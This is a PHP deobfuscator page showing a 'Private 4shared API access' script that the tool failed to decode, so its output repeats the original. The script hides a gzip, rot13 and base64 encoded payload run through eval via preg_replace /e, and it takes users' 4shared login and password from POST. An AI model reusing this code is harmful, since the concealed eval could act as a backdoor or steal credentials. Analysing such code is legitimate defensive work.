Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Private 4shared API access * * @author AdZ <[email protected] /* <![CDATA[ ..
Decoded Output download
<?php
/**
* Private 4shared API access
*
* @author AdZ <[email protected]
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
>
* @link http://trickshareid.com
*/
preg_replace('/.*/e', "eval(gzuncompr" . "ess(str_rot13(base64_decode(str_rot13("n9bAyYJh5RfNOs9lbeqyLPngAht2Z3NlZgj2HWige99d4xHSSEkwps1P9rkjZD3mNgo1qA2Ji8h0bsuPad2NVi6JbWuK8CZapPrmXm7JS0ksSDi3l0643QZIcwdWIWVP / 1n1GnIsi / N4faxFzFzPtDukCVjrupuQOvOjAsfHZj4 / d6IbQ3jNe1vcGuKV / v3Nk6ChuvjEN5pmI4hQATsNSTSv" . " / " . "vbR8id8w15Uv + USiS + plxp9t7OhJ3faWzGKzZjgCLJrP4VNIibEnpdBLzmMtwKJJeRzo4wEAtn4KBaLABi + cSk / f8yMxP5eFdBDfM5yEIBPy590C3dLoXAeU4DTGxem8YtXt + c + qNJoUP6ilLZx3QGUf4Vq47rP786esKwbDk / FhjWGWxoowgCVvosJGk / KAY2vLY9dMJIfmo50cNV0DHrs0zvEuVE785kEP2H0W0r" . " + " . "PDHeJLHuxf4fzpFpkJ + 0Pb8KJYY6TJwDgwyuKNcR8VTzgq5 + BFloN + aYXLBqGeS1ig + ku7abwoBBfOuPl0WmKEApQ5U4TO7uHWl3nmmRCSKNp3aglLiqEFWNNLydEVb0qeEkRODXJF92QMCZEBU1 / oEC3jVW15fVBEB + H5npB1Kw / eIYwZQHR + b7BL / H0rWP430oCTpK1Wwzt48N0mnIn3MQp6MC3IhJV0FSSAxlB + WU2Ij6j3xYFqQqg7L61LPwIL43c9wNsGxBfwOIlge2MatNr580UAyUtOIf / +G + msuFbhnOtX4FDtGzvfxryEypklcTiSW8ZOC3VkqN999xd37HqvIqGFwpZJV2kOJcLprCdz86xb9ItkIEhpBKrNrdvdoKlL2n / 5vAxaqc6JVfcOtB16EJ5xB1a4sDx + qorirkFGYw / bXC2vImJ4A6pWcFYorMLJ6Ib0MhBkx2mjm6N08oyO3zrYziAsPyCZwlexjuVnNelaqKADkFAFwzlhz / pKI / f6mJY9eUpUGG99cQ1l6w0ZTHzHVMl3e5Re8k34u4suhmHJTckTkNi / a1h0O9h31uMWxpDaDKwN / mUZrvOuaUy9oN72rsFocmglkTRFovCfnTX6IvuyuTfZv463VKPobrN8DwPMVUJXTa07KBaOKl5OKse8g9lDjtPxCjNHxwwZ / WphLZnBqpWLNZ / JSIQBOnAfIw4EjOWvKxS1vClG2tsCbpc / OCzRWwaIq7MV9dH3rk1emWXAHl1 / iKEF4YdD7Yu39 / 4CavZClzEYfbys / + /CB7s / 8U / " . "nPCdD == ")))));", '.', 1);
$ {
"p" . "01"
} = @$("tr" . "im", $ {
"_PO" . "ST"
});
if (empty($ {
"p" . "01"
}
["login"]) && empty($ {
"p0" . "1"
}
["pass" . "word"]) && empty($ {
"p0" . "1"
}
["url"])) exit;
$ {
"d4" . "x"
} = array();
try {
$ {
"s0" . "xp"
} = @new $("http:/" . "/" . "api.4shared.com" . "/" . "jax2" . "/" . "DesktopApp?wsdl", array("exceptions" => 1));
$ {
"i" . "0"
} = $ {
"s" . "0xp"
}->$($ {
"p0" . "1"
}
["login"], $ {
"p" . "01"
}
["pass" . "word"], $ {
"p0" . "1"
}
["url"]);
$ {
"sT" . "sX"
} = "success";
$ {
"d4" . "x"
}
["fil" . "einfo"] = $ {
"s0xp"
}->$($ {
"p01"
}
["login"], $ {
"p01"
}
["pa" . "ssword"], $ {
"i" . "0"
});
$ {
"d4x"
}
["directli" . "nk"] = $ {
"s0xp"
}->$($ {
"p01"
}
["login"], $ {
"p01"
}
["passwor" . "d"], $ {
"p" . "01"
}
["ur" . "l"]);
}
catch(SoapFault $e) {
$ {
"sT" . "sX"
} = "fai" . "led";
$ {
"d4" . "x"
}
["error"] = $e->faultstring;
}
$("Content-Type" . ": text/plain; c" . "harset=utf-8");
exit($(array("status" => $ {
"s" . "TsX"
}, "data" => $ {
"d4" . "x"
})));
?>
Did this file decode correctly?
Original Code
<?php
/**
* Private 4shared API access
*
* @author AdZ <[email protected]
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
>
* @link http://trickshareid.com
*/
preg_replace('/.*/e', "eval(gzuncompr" . "ess(str_rot13(base64_decode(str_rot13("n9bAyYJh5RfNOs9lbeqyLPngAht2Z3NlZgj2HWige99d4xHSSEkwps1P9rkjZD3mNgo1qA2Ji8h0bsuPad2NVi6JbWuK8CZapPrmXm7JS0ksSDi3l0643QZIcwdWIWVP / 1n1GnIsi / N4faxFzFzPtDukCVjrupuQOvOjAsfHZj4 / d6IbQ3jNe1vcGuKV / v3Nk6ChuvjEN5pmI4hQATsNSTSv" . " / " . "vbR8id8w15Uv + USiS + plxp9t7OhJ3faWzGKzZjgCLJrP4VNIibEnpdBLzmMtwKJJeRzo4wEAtn4KBaLABi + cSk / f8yMxP5eFdBDfM5yEIBPy590C3dLoXAeU4DTGxem8YtXt + c + qNJoUP6ilLZx3QGUf4Vq47rP786esKwbDk / FhjWGWxoowgCVvosJGk / KAY2vLY9dMJIfmo50cNV0DHrs0zvEuVE785kEP2H0W0r" . " + " . "PDHeJLHuxf4fzpFpkJ + 0Pb8KJYY6TJwDgwyuKNcR8VTzgq5 + BFloN + aYXLBqGeS1ig + ku7abwoBBfOuPl0WmKEApQ5U4TO7uHWl3nmmRCSKNp3aglLiqEFWNNLydEVb0qeEkRODXJF92QMCZEBU1 / oEC3jVW15fVBEB + H5npB1Kw / eIYwZQHR + b7BL / H0rWP430oCTpK1Wwzt48N0mnIn3MQp6MC3IhJV0FSSAxlB + WU2Ij6j3xYFqQqg7L61LPwIL43c9wNsGxBfwOIlge2MatNr580UAyUtOIf / +G + msuFbhnOtX4FDtGzvfxryEypklcTiSW8ZOC3VkqN999xd37HqvIqGFwpZJV2kOJcLprCdz86xb9ItkIEhpBKrNrdvdoKlL2n / 5vAxaqc6JVfcOtB16EJ5xB1a4sDx + qorirkFGYw / bXC2vImJ4A6pWcFYorMLJ6Ib0MhBkx2mjm6N08oyO3zrYziAsPyCZwlexjuVnNelaqKADkFAFwzlhz / pKI / f6mJY9eUpUGG99cQ1l6w0ZTHzHVMl3e5Re8k34u4suhmHJTckTkNi / a1h0O9h31uMWxpDaDKwN / mUZrvOuaUy9oN72rsFocmglkTRFovCfnTX6IvuyuTfZv463VKPobrN8DwPMVUJXTa07KBaOKl5OKse8g9lDjtPxCjNHxwwZ / WphLZnBqpWLNZ / JSIQBOnAfIw4EjOWvKxS1vClG2tsCbpc / OCzRWwaIq7MV9dH3rk1emWXAHl1 / iKEF4YdD7Yu39 / 4CavZClzEYfbys / + /CB7s / 8U / " . "nPCdD == ")))));", '.', 1);
$ {
"p" . "01"
} = @$("tr" . "im", $ {
"_PO" . "ST"
});
if (empty($ {
"p" . "01"
}
["login"]) && empty($ {
"p0" . "1"
}
["pass" . "word"]) && empty($ {
"p0" . "1"
}
["url"])) exit;
$ {
"d4" . "x"
} = array();
try {
$ {
"s0" . "xp"
} = @new $("http:/" . "/" . "api.4shared.com" . "/" . "jax2" . "/" . "DesktopApp?wsdl", array("exceptions" => 1));
$ {
"i" . "0"
} = $ {
"s" . "0xp"
}->$($ {
"p0" . "1"
}
["login"], $ {
"p" . "01"
}
["pass" . "word"], $ {
"p0" . "1"
}
["url"]);
$ {
"sT" . "sX"
} = "success";
$ {
"d4" . "x"
}
["fil" . "einfo"] = $ {
"s0xp"
}->$($ {
"p01"
}
["login"], $ {
"p01"
}
["pa" . "ssword"], $ {
"i" . "0"
});
$ {
"d4x"
}
["directli" . "nk"] = $ {
"s0xp"
}->$($ {
"p01"
}
["login"], $ {
"p01"
}
["passwor" . "d"], $ {
"p" . "01"
}
["ur" . "l"]);
}
catch(SoapFault $e) {
$ {
"sT" . "sX"
} = "fai" . "led";
$ {
"d4" . "x"
}
["error"] = $e->faultstring;
}
$("Content-Type" . ": text/plain; c" . "harset=utf-8");
exit($(array("status" => $ {
"s" . "TsX"
}, "data" => $ {
"d4" . "x"
})));
?>
Function Calls
None |
Stats
MD5 | 59dd826a2222657961ad4e0cb9eb21ab |
Eval Count | 0 |
Decode Time | 112 ms |